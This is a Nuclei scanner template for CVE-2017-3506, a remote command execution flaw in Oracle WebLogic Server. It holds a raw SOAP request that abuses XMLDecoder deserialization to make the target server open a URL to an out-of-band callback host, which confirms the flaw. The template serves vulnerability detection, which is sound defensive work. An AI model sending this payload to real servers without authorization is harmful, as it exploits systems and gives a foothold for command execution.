60 lines
2.5 KiB
YAML
60 lines
2.5 KiB
YAML
id: CVE-2017-3506
|
|
|
|
info:
|
|
name: Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution
|
|
author: pdteam
|
|
severity: high
|
|
description: The Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.
|
|
impact: |
|
|
Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
|
|
remediation: |
|
|
Apply the necessary patches or updates provided by Oracle to fix this vulnerability.
|
|
reference:
|
|
- https://hackerone.com/reports/810778
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-3506
|
|
- http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
|
|
- http://www.securitytracker.com/id/1038296
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
|
|
cvss-score: 7.4
|
|
cve-id: CVE-2017-3506
|
|
epss-score: 0.96935
|
|
epss-percentile: 0.99655
|
|
cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: oracle
|
|
product: weblogic_server
|
|
tags: rce,oast,hackerone,cve,cve2017,weblogic,oracle
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: text/xml
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
|
|
Content-Type: text/xml;charset=UTF-8
|
|
|
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soapenv:Header>
|
|
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
|
<java version="1.8" class="java.beans.XMLDecoder">
|
|
<void id="url" class="java.net.URL">
|
|
<string>http://{{interactsh-url}}</string>
|
|
</void>
|
|
<void idref="url">
|
|
<void id="stream" method ="openStream"/>
|
|
</void>
|
|
</java>
|
|
</work:WorkContext>
|
|
</soapenv:Header>
|
|
<soapenv:Body/>
|
|
</soapenv:Envelope>
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
# digest: 490a004630440220175917fef9b6461088885f0b91b311e26395c58ca2bc859870e8b817dff156a90220655034f392342c9cc848968901687aa91fa4aac8161478107729a2a0c2d10652:922c64590222798bb761d5b6d8e72950 |